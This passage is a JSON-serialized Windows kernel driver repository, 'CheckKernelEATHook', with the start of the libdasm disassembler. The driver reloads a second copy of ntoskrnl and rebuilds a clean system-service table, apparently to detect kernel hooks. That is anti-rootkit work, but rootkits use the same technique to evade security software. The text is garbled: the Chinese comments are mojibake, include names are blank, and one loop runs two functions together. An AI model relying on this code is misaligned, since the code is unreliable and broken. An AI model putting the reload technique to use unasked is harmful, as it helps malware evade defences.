KernelOpenFile(wchar_t *FileFullName, \r\n PHANDLE FileHandle, \r\n ACCESS_MASK DesiredAccess, \r\n ULONG FileAttributes, \r\n ULONG ShareAccess, \r\n ULONG CreateDisposition, \r\n ULONG CreateOptions);\r\n\r\n\r\n\r\n\r\nNTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize);\r\n\r\n\r\n\r\nNTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock);\r\n\r\n\r\nBOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase);\r\nULONG AlignSize(ULONG nSize, ULONG nAlign);\r\n\r\n\r\nPVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName);\r\n\r\nBOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk);\r\n\r\n\r\nPVOID\r\n MiFindExportedRoutine (\r\n IN PVOID DllBase,\r\n BOOLEAN ByName,\r\n IN char *RoutineName,\r\n DWORD Ordinal\r\n );\r\n\r\n\r\n\r\nBOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject);\r\n\r\n\r\nBOOLEAN PeLoad(\r\n WCHAR *FileFullPath,\r\n BYTE **ImageModeleBase,\r\n PDRIVER_OBJECT DeviceObject,\r\n DWORD ExistImageBase\r\n );\r\n\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/ReadMe.txt", "content": "Check Kernel EAT Hook\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.c", "content": "#include \"Reload.h\"\r\n#include \"KernelReload.h\"\r\n\r\nWCHAR* SystemKernelFilePath = NULL;\r\nULONG_PTR SystemKernelModuleBase = 0;\r\nULONG_PTR SystemKernelModuleSize = 0;\r\nULONG_PTR ImageModuleBase;\r\n\r\nPVOID OriginalKiServiceTable;\r\nextern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;\r\nPSERVICE_DESCRIPTOR_TABLE OriginalServiceDescriptorTable;\r\nPSERVICE_DESCRIPTOR_TABLE Safe_ServiceDescriptorTable;\r\n\r\n\r\n/*\r\nFuncName ԭNtosַ Լ Ntosַ\r\n//һζͨ ϵͳԭƫ + NewBase úַ \r\n//ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ\r\nҵ\r\n*/\r\nULONG ReLoadNtosCALL(WCHAR *lpwzFuncTion,ULONG ulOldNtosBase,ULONG ulReloadNtosBase)\r\n{\r\n UNICODE_STRING UnicodeFunctionName;\r\n ULONG ulOldFunctionAddress;\r\n PUCHAR ulReloadFunctionAddress = NULL;\r\n int index=0;\r\n PIMAGE_DOS_HEADER pDosHeader;\r\n PIMAGE_NT_HEADERS NtDllHeader;\r\n\r\n IMAGE_OPTIONAL_HEADER opthdr;\r\n DWORD* arrayOfFunctionAddresses;\r\n DWORD* arrayOfFunctionNames;\r\n WORD* arrayOfFunctionOrdinals;\r\n DWORD functionOrdinal;\r\n DWORD Base, x, functionAddress,position;\r\n char* functionName;\r\n IMAGE_EXPORT_DIRECTORY *pExportTable;\r\n ULONG ulNtDllModuleBase;\r\n\r\n UNICODE_STRING UnicodeFunction;\r\n UNICODE_STRING UnicodeExportTableFunction;\r\n ANSI_STRING ExportTableFunction;\r\n //һζͨ ϵͳԭƫ + NewBase úַ \r\n //ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ\r\n __try\r\n {\r\n if (RRtlInitUnicodeString &&\r\n RRtlCompareUnicodeString &&\r\n RMmGetSystemRoutineAddress &&\r\n RMmIsAddressValid)\r\n {\r\n RRtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion);\r\n ulOldFunctionAddress = (DWORD)RMmGetSystemRoutineAddress(&UnicodeFunctionName);\r\n ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase); //صFuncAddr\r\n if (RMmIsAddressValid(ulReloadFunctionAddress)) //Чʹ ȡ ӦòЧ\r\n {\r\n return (ULONG)ulReloadFunctionAddress;\r\n }\r\n //ӵȡ\r\n ulNtDllModuleBase = ulReloadNtosBase;\r\n pDosHeader = (PIMAGE_DOS_HEADER)ulReloadNtosBase;\r\n if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return 0;\r\n }\r\n NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);\r\n if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return 0;\r\n }\r\n opthdr = NtDllHeader->OptionalHeader;\r\n pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulNtDllModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ\r\n arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulNtDllModuleBase + pExportTable->AddressOfFunctions); //ַ\r\n arrayOfFunctionNames = (DWORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNames); //\r\n arrayOfFunctionOrdinals = (WORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNameOrdinals);\r\n\r\n Base = pExportTable->Base;\r\n\r\n for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ɨ\r\n {\r\n functionName = (char*)( (BYTE*)ulNtDllModuleBase + arrayOfFunctionNames[x]);\r\n functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; \r\n functionAddress = (DWORD)((BYTE*)ulNtDllModuleBase + arrayOfFunctionAddresses[functionOrdinal]);\r\n RtlInitAnsiString(&ExportTableFunction,functionName);\r\n RtlAnsiStringToUnicodeString(&UnicodeExportTableFunction,&ExportTableFunction,TRUE);\r\n\r\n RRtlInitUnicodeString(&UnicodeFunction,lpwzFuncTion);\r\n if (RRtlCompareUnicodeString(&UnicodeExportTableFunction,&UnicodeFunction,TRUE) == 0)\r\n {\r\n RtlFreeUnicodeString(&UnicodeExportTableFunction);\r\n return functionAddress;\r\n }\r\n RtlFreeUnicodeString(&UnicodeExportTableFunction);\r\n }\r\n return 0;\r\n }\r\n RtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion);\r\n ulOldFunctionAddress = (DWORD)MmGetSystemRoutineAddress(&UnicodeFunctionName);\r\n ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase);\r\n\r\n //KdPrint((\"%ws:%08x:%08x\",lpwzFuncTion,ulOldFunctionAddress,ulReloadFunctionAddress));\r\n\r\n if (MmIsAddressValid(ulReloadFunctionAddress))\r\n {\r\n return (ULONG)ulReloadFunctionAddress;\r\n }\r\n // \r\n\r\n }__except(EXCEPTION_EXECUTE_HANDLER){\r\n KdPrint((\"EXCEPTION_EXECUTE_HANDLER\"));\r\n }\r\n return 0;\r\n}\r\n\r\n\r\n/*Ntos*/\r\nNTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress)\r\n{\r\n NTSTATUS status = STATUS_UNSUCCESSFUL;\r\n ULONG ulKeAddSystemServiceTable;\r\n PULONG p;\r\n\r\n\r\n if (!GetSystemKernelModuleInfo(\r\n &SystemKernelFilePath,\r\n &SystemKernelModuleBase,\r\n &SystemKernelModuleSize\r\n ))\r\n {\r\n KdPrint((\"Get System Kernel Module failed\"));\r\n return status;\r\n }\r\n\r\n\r\n if (InitSafeOperationModule(\r\n DriverObject,\r\n SystemKernelFilePath,\r\n SystemKernelModuleBase\r\n ))\r\n {\r\n KdPrint((\"Init Ntos module success\\r\\n\"));\r\n\r\n\r\n RRtlInitUnicodeString = NULL;\r\n RMmGetSystemRoutineAddress = NULL;\r\n RMmIsAddressValid = NULL;\r\n RRtlCompareUnicodeString = NULL;\r\n RPsGetCurrentProcess = NULL;\r\n \r\n status = STATUS_UNSUCCESSFUL;\r\n \r\n //һζͨ ϵͳԭƫ + NewBase úַ \r\n //ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ\r\n RRtlInitUnicodeString = (ReloadRtlInitUnicodeString)ReLoadNtosCALL(L\"RtlInitUnicodeString\",SystemKernelModuleBase,ImageModuleBase);\r\n RRtlCompareUnicodeString = (ReloadRtlCompareUnicodeString)ReLoadNtosCALL(L\"RtlCompareUnicodeString\",SystemKernelModuleBase,ImageModuleBase);\r\n RMmGetSystemRoutineAddress = (ReloadMmGetSystemRoutineAddress)ReLoadNtosCALL(L\"MmGetSystemRoutineAddress\",SystemKernelModuleBase,ImageModuleBase);\r\n RMmIsAddressValid = (ReloadMmIsAddressValid)ReLoadNtosCALL(L\"MmIsAddressValid\",SystemKernelModuleBase,ImageModuleBase);\r\n RPsGetCurrentProcess = (ReloadPsGetCurrentProcess)ReLoadNtosCALL(L\"PsGetCurrentProcess\",SystemKernelModuleBase,ImageModuleBase);\r\n if (!RRtlInitUnicodeString ||\r\n !RRtlCompareUnicodeString ||\r\n !RMmGetSystemRoutineAddress ||\r\n !RMmIsAddressValid ||\r\n !RPsGetCurrentProcess)\r\n {\r\n KdPrint((\"Init NtosCALL failed\"));\r\n return status;\r\n }\r\n }\r\n return status;\r\n}\r\n\r\n\r\n\r\n\r\nBOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG KernelModuleBase)\r\n{\r\n UNICODE_STRING FileName;\r\n HANDLE hSection;\r\n PDWORD FixdOriginalKiServiceTable;\r\n PDWORD CsRootkitOriginalKiServiceTable;\r\n ULONG i = 0;\r\n\r\n\r\n //Լpeload һntos*ͽ˸ȫijͻ~\r\n if (!PeLoad(SystemModulePath,(BYTE**)&ImageModuleBase,pDriverObject,KernelModuleBase))\r\n {\r\n return FALSE;\r\n }\r\n\r\n OriginalKiServiceTable = ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD));\r\n if (!OriginalKiServiceTable)\r\n {\r\n return FALSE;\r\n }\r\n //SSDTַͨضλȽϵõ\r\n if(!GetOriginalKiServiceTable((BYTE*)ImageModuleBase,KernelModuleBase,(DWORD*)&OriginalKiServiceTable))\r\n {\r\n ExFreePool(OriginalKiServiceTable);\r\n\r\n return FALSE;\r\n }\r\n\r\n //޸SSDTַ ԼReloadĺַ ɾ\r\n FixOriginalKiServiceTable((PDWORD)OriginalKiServiceTable,(DWORD)ImageModuleBase,KernelModuleBase);\r\n\r\n OriginalServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);\r\n if (OriginalServiceDescriptorTable == NULL)\r\n {\r\n ExFreePool(OriginalKiServiceTable);\r\n return FALSE;\r\n }\r\n RtlZeroMemory(OriginalServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);\r\n\r\n //޸SERVICE_DESCRIPTOR_TABLE ṹ \r\n OriginalServiceDescriptorTable->ServiceTable = (PDWORD)OriginalKiServiceTable;\r\n OriginalServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable;\r\n OriginalServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize;\r\n OriginalServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable;\r\n\r\n CsRootkitOriginalKiServiceTable = (PDWORD)ExAllocatePool(NonPagedPool,KeServiceDescriptorTable->TableSize*sizeof(DWORD));\r\n if (CsRootkitOriginalKiServiceTable==NULL)\r\n {\r\n ExFreePool(OriginalServiceDescriptorTable);\r\n ExFreePool(OriginalKiServiceTable);\r\n return FALSE;\r\n }\r\n RtlZeroMemory(CsRootkitOriginalKiServiceTable,KeServiceDescriptorTable->TableSize*sizeof(DWORD));\r\n\r\n Safe_ServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePool(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);\r\n if (Safe_ServiceDescriptorTable == NULL)\r\n {\r\n ExFreePool(OriginalServiceDescriptorTable);\r\n ExFreePool(CsRootkitOriginalKiServiceTable);\r\n ExFreePool(OriginalKiServiceTable);\r\n return FALSE;\r\n }\r\n //һɾԭʼÿӦSSDTĵַԭʼ\r\n RtlZeroMemory(Safe_ServiceDescriptorTable,sizeof(SERVICE_DESCRIPTOR_TABLE)*4);\r\n\r\n //ԭʼַ\r\n for (i = 0; i < KeServiceDescriptorTable->TableSize; i++)\r\n {\r\n CsRootkitOriginalKiServiceTable[i] = OriginalServiceDescriptorTable->ServiceTable[i];\r\n }\r\n Safe_ServiceDescriptorTable->ServiceTable = (PDWORD)CsRootkitOriginalKiServiceTable;\r\n Safe_ServiceDescriptorTable->CounterTable = KeServiceDescriptorTable->CounterTable;\r\n Safe_ServiceDescriptorTable->TableSize = KeServiceDescriptorTable->TableSize;\r\n Safe_ServiceDescriptorTable->ArgumentTable = KeServiceDescriptorTable->ArgumentTable;\r\n\r\n //ͷžͻbsod\r\n //ExFreePool(OriginalKiServiceTable);\r\n \r\n return TRUE;\r\n}\r\n\r\n\r\nVOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase)\r\n{\r\n DWORD FuctionCount;\r\n DWORD Index;\r\n FuctionCount=KeServiceDescriptorTable->TableSize; //\r\n \r\n KdPrint((\"ssdt funcion count:%X---KiServiceTable:%X\\n\",FuctionCount,KeServiceDescriptorTable->ServiceTable)); \r\n for (Index=0;Indexe_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n return FALSE;\r\n }\r\n ImageNtHeaders=(PIMAGE_NT_HEADERS)(NewImageBase+ImageDosHeader->e_lfanew);\r\n if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n return FALSE;\r\n }\r\n KeServiceDescriptorTableRva=(DWORD)MiFindExportedRoutine(NewImageBase,TRUE,\"KeServiceDescriptorTable\",0);\r\n if (KeServiceDescriptorTableRva==0)\r\n {\r\n return FALSE;\r\n }\r\n\r\n KeServiceDescriptorTableRva=KeServiceDescriptorTableRva-(DWORD)NewImageBase;\r\n ImageBaseReloc=RtlImageDirectoryEntryToData(NewImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_BASERELOC,&RelocSize);\r\n if (ImageBaseReloc==NULL)\r\n {\r\n return FALSE;\r\n }\r\n\r\n while (ImageBaseReloc->SizeOfBlock)\r\n { \r\n count++;\r\n ItemCount=(ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))/2;\r\n TypeOffset=(WORD*)((DWORD)ImageBaseReloc+sizeof(IMAGE_BASE_RELOCATION));\r\n for (Index=0;Index>12; //4λ 12λλҳƫ 4k \r\n if (Type==3)\r\n {\r\n //Base + Virtual λҳ + 12λ = RelocAddress Ҫ޸ĵַ\r\n RelocAddress=(PDWORD)((DWORD)(TypeOffset[Index]&0x0fff)+ImageBaseReloc->VirtualAddress+(DWORD)NewImageBase);\r\n RvaData=*RelocAddress-ExistImageBase;\r\n \r\n if (RvaData==KeServiceDescriptorTableRva) //ضλеrva KeServiceDescriptorTable \r\n {\r\n if(*(USHORT*)((DWORD)RelocAddress-2)==0x05c7)\r\n {\r\n /*\r\n 1: kd> dd 0x89651c12 RelocAddress - 2\r\n 89651c12 79c005c7 bd9c83f8 \r\n\r\n 1: kd> dd KeServiceDescriptorTable \r\n 83f879c0 83e9bd9c 00000000 00000191 83e9c3e4\r\n 83f879d0 00000000 00000000 00000000 00000000\r\n \r\n 1: kd> dd 0x89651c14 RelocAddress\r\n 89651c14 83f879c0 83e9bd9c 79c41589 c8a383f8\r\n 89651c24 c783f879 f879cc05 e9c3e483 d8158983\r\n */\r\n //RelocAddress KeServiceDesriptorTableַ \r\n //RelocAddress + 4 KeServiceDesriptorTableһԱҲSSDTַ\r\n *NewKiServiceTable=*(DWORD*)((DWORD)RelocAddress+4)-ExistImageBase+(DWORD)NewImageBase;\r\n return TRUE;\r\n }\r\n }\r\n\r\n }\r\n\r\n }\r\n ImageBaseReloc=(PIMAGE_BASE_RELOCATION)((DWORD)ImageBaseReloc+ImageBaseReloc->SizeOfBlock);\r\n }\r\n\r\n return FALSE;\r\n}\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Reload.h", "content": "#include \"DriverEntry.h\"\r\n#include \r\n\r\n#pragma once\r\ntypedef unsigned long DWORD;\r\ntypedef DWORD * PDWORD;\r\ntypedef unsigned char BYTE, *PBYTE;\r\ntypedef unsigned short WORD, *PWORD;\r\n\r\n\r\ntypedef struct _SYSTEM_MODULE_INFORMATION // ϵͳģϢ\r\n{\r\n ULONG Reserved[2]; \r\n ULONG Base; \r\n ULONG Size; \r\n ULONG Flags; \r\n USHORT Index; \r\n USHORT Unknown; \r\n USHORT LoadCount; \r\n USHORT ModuleNameOffset;\r\n CHAR ImageName[256]; \r\n} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\r\n\r\ntypedef struct _tagSysModuleList { //ģṹ\r\n ULONG ulCount;\r\n SYSTEM_MODULE_INFORMATION smi[1];\r\n} MODULES, *PMODULES;\r\n\r\ntypedef enum _SYSTEM_INFORMATION_CLASS \r\n{ \r\n SystemBasicInformation, // 0 Y N \r\n SystemProcessorInformation, // 1 Y N \r\n SystemPerformanceInformation, // 2 Y N \r\n SystemTimeOfDayInformation, // 3 Y N \r\n SystemNotImplemented1, // 4 Y N \r\n SystemProcessesAndThreadsInformation, // 5 Y N \r\n SystemCallCounts, // 6 Y N \r\n SystemConfigurationInformation, // 7 Y N \r\n SystemProcessorTimes, // 8 Y N \r\n SystemGlobalFlag, // 9 Y Y \r\n SystemNotImplemented2, // 10 Y N \r\n SystemModuleInformation, // 11 Y N \r\n SystemLockInformation, // 12 Y N \r\n SystemNotImplemented3, // 13 Y N \r\n SystemNotImplemented4, // 14 Y N \r\n SystemNotImplemented5, // 15 Y N \r\n SystemHandleInformation, // 16 Y N \r\n SystemObjectInformation, // 17 Y N \r\n SystemPagefileInformation, // 18 Y N \r\n SystemInstructionEmulationCounts, // 19 Y N \r\n SystemInvalidInfoClass1, // 20 \r\n SystemCacheInformation, // 21 Y Y \r\n SystemPoolTagInformation, // 22 Y N \r\n SystemProcessorStatistics, // 23 Y N \r\n SystemDpcInformation, // 24 Y Y \r\n SystemNotImplemented6, // 25 Y N \r\n SystemLoadImage, // 26 N Y \r\n SystemUnloadImage, // 27 N Y \r\n SystemTimeAdjustment, // 28 Y Y \r\n SystemNotImplemented7, // 29 Y N \r\n SystemNotImplemented8, // 30 Y N \r\n SystemNotImplemented9, // 31 Y N \r\n SystemCrashDumpInformation, // 32 Y N \r\n SystemExceptionInformation, // 33 Y N \r\n SystemCrashDumpStateInformation, // 34 Y Y/N \r\n SystemKernelDebuggerInformation, // 35 Y N \r\n SystemContextSwitchInformation, // 36 Y N \r\n SystemRegistryQuotaInformation, // 37 Y Y \r\n SystemLoadAndCallImage, // 38 N Y \r\n SystemPrioritySeparation, // 39 N Y \r\n SystemNotImplemented10, // 40 Y N \r\n SystemNotImplemented11, // 41 Y N \r\n SystemInvalidInfoClass2, // 42 \r\n SystemInvalidInfoClass3, // 43 \r\n SystemTimeZoneInformation, // 44 Y N \r\n SystemLookasideInformation, // 45 Y N \r\n SystemSetTimeSlipEvent, // 46 N Y \r\n SystemCreateSession, // 47 N Y \r\n SystemDeleteSession, // 48 N Y \r\n SystemInvalidInfoClass4, // 49 \r\n SystemRangeStartInformation, // 50 Y N \r\n SystemVerifierInformation, // 51 Y Y \r\n SystemAddVerifier, // 52 N Y \r\n SystemSessionProcessesInformation // 53 Y N \r\n} SYSTEM_INFORMATION_CLASS; \r\n\r\n#define LDRP_RELOCATION_FINAL 0x2\r\n#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK (0x00000001)\r\n\r\n\r\ntypedef struct _AUX_ACCESS_DATA {\r\n PPRIVILEGE_SET PrivilegesUsed;\r\n GENERIC_MAPPING GenericMapping;\r\n ACCESS_MASK AccessesToAudit;\r\n ACCESS_MASK MaximumAuditMask;\r\n ULONG Unknown[41];\r\n} AUX_ACCESS_DATA, *PAUX_ACCESS_DATA;\r\n\r\n\r\n\r\ntypedef struct _LDR_DATA_TABLE_ENTRY\r\n{\r\n LIST_ENTRY InLoadOrderLinks;\r\n LIST_ENTRY InMemoryOrderLinks;\r\n LIST_ENTRY InInitializationOrderLinks;\r\n PVOID DllBase;\r\n PVOID EntryPoint;\r\n ULONG SizeOfImage;\r\n UNICODE_STRING FullDllName;\r\n UNICODE_STRING BaseDllName;\r\n ULONG Flags;\r\n USHORT LoadCount;\r\n USHORT TlsIndex;\r\n union\r\n {\r\n LIST_ENTRY HashLinks;\r\n struct\r\n {\r\n PVOID SectionPointer;\r\n ULONG CheckSum;\r\n };\r\n };\r\n union\r\n {\r\n ULONG TimeDateStamp;\r\n PVOID LoadedImports;\r\n };\r\n PVOID EntryPointActivationContext;\r\n PVOID PatchInformation;\r\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\r\n// typedef struct _IMAGE_BASE_RELOCATION {\r\n// DWORD VirtualAddress;\r\n// DWORD SizeOfBlock;\r\n// // WORD TypeOffset[1];\r\n// } IMAGE_BASE_RELOCATION,*PIMAGE_BASE_RELOCATION;\r\n// typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;\r\n\r\ntypedef struct _SERVICE_DESCRIPTOR_TABLE {\r\n /*\r\n * Table containing cServices elements of pointers to service handler\r\n * functions, indexed by service ID.\r\n */\r\n PDWORD ServiceTable;\r\n /*\r\n * Table that counts how many times each service is used. This table\r\n * is only updated in checked builds.\r\n */\r\n PULONG CounterTable;\r\n /*\r\n * Number of services contained in this table.\r\n */\r\n ULONG TableSize;\r\n /*\r\n * Table containing the number of bytes of parameters the handler\r\n * function takes.\r\n */\r\n PUCHAR ArgumentTable;\r\n} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;\r\nNTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress);\r\n\r\n\r\n\r\nNTSTATUS\r\n NTAPI\r\n ZwQuerySystemInformation(\r\n IN SYSTEM_INFORMATION_CLASS SystemInfoClass,\r\n OUT PVOID SystemInfoBuffer,\r\n IN ULONG SystemInfoBufferSize,\r\n OUT PULONG BytesReturned OPTIONAL\r\n );\r\nNTSTATUS\r\n NTAPI\r\n ObCreateObject (\r\n IN KPROCESSOR_MODE ObjectAttributesAccessMode OPTIONAL,\r\n IN POBJECT_TYPE ObjectType,\r\n IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\r\n IN KPROCESSOR_MODE AccessMode,\r\n IN OUT PVOID ParseContext OPTIONAL,\r\n IN ULONG ObjectSize,\r\n IN ULONG PagedPoolCharge OPTIONAL,\r\n IN ULONG NonPagedPoolCharge OPTIONAL,\r\n OUT PVOID *Object\r\n );\r\n\r\n\r\nNTSTATUS\r\n NTAPI\r\n SeCreateAccessState(\r\n PACCESS_STATE AccessState,\r\n PAUX_ACCESS_DATA AuxData,\r\n ACCESS_MASK Access,\r\n PGENERIC_MAPPING GenericMapping\r\n );\r\n\r\n\r\nNTSYSAPI\r\n PVOID\r\n NTAPI\r\n RtlImageDirectoryEntryToData (\r\n IN PVOID Base,\r\n IN BOOLEAN MappedAsImage,\r\n IN USHORT DirectoryEntry,\r\n OUT PULONG Size\r\n );\r\n\r\nBOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG KernelModuleBase);\r\n\r\n\r\n\r\n\r\ntypedef VOID (__stdcall *ReloadRtlInitUnicodeString)(\r\n __inout PUNICODE_STRING DestinationString,\r\n __in_opt PCWSTR SourceString\r\n );\r\nReloadRtlInitUnicodeString RRtlInitUnicodeString;\r\n\r\ntypedef LONG (__stdcall * ReloadRtlCompareUnicodeString)(\r\n __in PCUNICODE_STRING String1,\r\n __in PCUNICODE_STRING String2,\r\n __in BOOLEAN CaseInSensitive\r\n );\r\nReloadRtlCompareUnicodeString RRtlCompareUnicodeString;\r\n\r\n\r\ntypedef PVOID (__stdcall *ReloadMmGetSystemRoutineAddress)(\r\n __in PUNICODE_STRING SystemRoutineName\r\n );\r\nReloadMmGetSystemRoutineAddress RMmGetSystemRoutineAddress;\r\n\r\n\r\n\r\ntypedef BOOLEAN (__stdcall * ReloadMmIsAddressValid)(\r\n __in PVOID VirtualAddress\r\n );\r\nReloadMmIsAddressValid RMmIsAddressValid;\r\n\r\n\r\ntypedef PEPROCESS (__stdcall *ReloadPsGetCurrentProcess)(void);\r\nReloadPsGetCurrentProcess RPsGetCurrentProcess;\r\n\r\nBOOLEAN GetOriginalKiServiceTable(BYTE *NewImageBase,DWORD ExistImageBase,DWORD *NewKiServiceTable);\r\nVOID FixOriginalKiServiceTable(PDWORD OriginalKiServiceTable,DWORD ModuleBase,DWORD ExistImageBase);" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/libdasm.c", "content": "\n/*\n * libdasm -- simple x86 disassembly library\n * (c) 2004 - 2005 jt / nologin.org\n *\n *\n * TODO:\n * - more documentation\n * - do more code validation\n *\n */\n\n#include \n#include \n#include \"libdasm.h\"\n#include \"tables.h\"\n\n\n// Endianess conversion routines (thanks Ero)\n\n__inline__ BYTE FETCH8(BYTE *addr) {\n // So far byte cast seems to work on all tested platforms\n return *(BYTE *)addr; \n}\n\n__inline__ WORD FETCH16(BYTE *addr) {\n#if defined __X86__\n // Direct cast only for x86\n return *(WORD *)addr;\n#else\n // Revert to memcpy\n WORD val;\n memcpy(&val, addr, 2);\n#if defined __LITTLE_ENDIAN__\n return val;\n#else\n return ((val & 0xff00) >> 8) |\n ((val & 0x00ff) << 8);\n\n#endif // __LITTLE_ENDIAN__\n#endif // __X86__\n}\n\n__inline__ DWORD FETCH32(BYTE *addr) {\n#if defined __X86__\n return *(DWORD *)addr; \n#else\n DWORD val;\n memcpy(&val, addr, 4);\n#if defined __LITTLE_ENDIAN__\n return val;\n#else\n return ((val & (0xff000000)) >> 24) |\n ((val & (0x00ff0000)) >> 8) |\n ((val & (0x0000ff00)) << 8) |\n ((val & (0x000000ff)) << 24);\n\n#endif // __LITTLE_ENDIAN__\n#endif // __X86__\n}\n\n\n// Parse 2 and 3-byte opcodes\n\nint get_real_instruction2(BYTE *addr, int *flags) {\n switch (*addr) {\n\n // opcode extensions for 2-byte opcodes\n case 0x00:\n // Clear extension\n *flags &= 0xFFFFFF00;\n *flags |= EXT_G6;\n break;\n case 0x01:\n *flags &= 0xFFFFFF00;\n *flags |= EXT_G7;\n break;\n case 0x71:\n *flags &= 0xFFFFFF00;\n *flags |= EXT_GC;\n break;\n case 0x72:\n *flags &= 0xFFFFFF00;\n *flags |= EXT_GD;\n break;\n case 0x73:\n *flags &= 0xFFFFFF00;\n *flags |= EXT_GE;\n break;\n case 0xae:\n *flags &= 0xFFFFFF00;\n *flags |= EXT_GF;\n break;\n case 0xba:\n *flags &= 0xFFFFFF00;\n *flags |= EXT_G8;\n break;\n case 0xc7:\n *flags &= 0xFFFFFF00;\n *flags |= EXT_G9;\n break;\n default:\n break;\n }\n return 0;\n}\n\n// Parse instruction flags, get opcode index\n\nint get_real_instruction(BYTE *addr, int *index, int *flags) {\n switch (*addr) {\n\n // 2-byte opcode\n case 0x0f:\n *index += 1;\n *flags |= EXT_T2;\n break;\n\n // Prefix group 2\n case 0x2e:\n *index += 1;\n // Clear previous flags from same group (undefined effect)\n *flags &= 0xFF00FFFF;\n *flags |= PREFIX_CS_OVERRIDE;\n get_real_instruction(addr + 1, index, flags);\n break;\n case 0x36:\n *index += 1;\n *flags &= 0xFF00FFFF;\n *flags |= PREFIX_SS_OVERRIDE;\n get_real_instruction(addr + 1, index, flags);\n break;\n case 0x3e:\n *index += 1;\n *flags &= 0xFF00FFFF;\n *flags |= PREFIX_DS_OVERRIDE;\n get_real_instruction(addr + 1, index, flags);\n break;\n case 0x26:\n *index += 1;\n *flags &= 0xFF00FFFF;\n *flags |= PREFIX_ES_OVERRIDE;\n get_real_instruction(addr + 1, index, flags);\n break;\n case 0x64:\n *index += 1;\n *flags &= 0xFF00FFFF;\n *flags |= PREFIX_FS_OVERRIDE;\n get_real_instruction(addr + 1, index, flags);\n break;\n case 0x65:\n *index += 1;\n *flags &= 0xFF00FFFF;\n *flags |= PREFIX_GS_OVERRIDE;\n get_real_instruction(addr + 1, index, flags);\n break;\n // Prefix group 3 or 3-byte opcode\n case 0x66:\n // Do not clear flags from the same group!!!!\n *index += 1;\n *flags |= PREFIX_OPERAND_SIZE_OVERRIDE;\n get_real_instruction(addr + 1, index, flags); \n break;\n // Prefix group 4\n case 0x67:\n // Do not clear flags from the same group!!!!\n *index += 1;\n *flags |= PREFIX_ADDR_SIZE_OVERRIDE;\n get_real_instruction(addr + 1, index, flags); \n break;\n\n // Extension group 1\n case 0x80:\n case 0x81:\n case 0x82:\n case 0x83:\n *flags |= EXT_G1;\n break;\n\n // Extension group 2\n case 0xc0:\n case 0xc1:\n case 0xd0:\n case 0xd1:\n case 0xd2:\n case 0xd3:\n *flags |= EXT_G2;\n break;\n\n // Escape to co-processor\n case 0xd8:\n case 0xd9:\n case 0xda:\n case 0xdb:\n case 0xdc:\n case 0xdd:\n case 0xde:\n case 0xdf:\n *index += 1;\n *flags |= 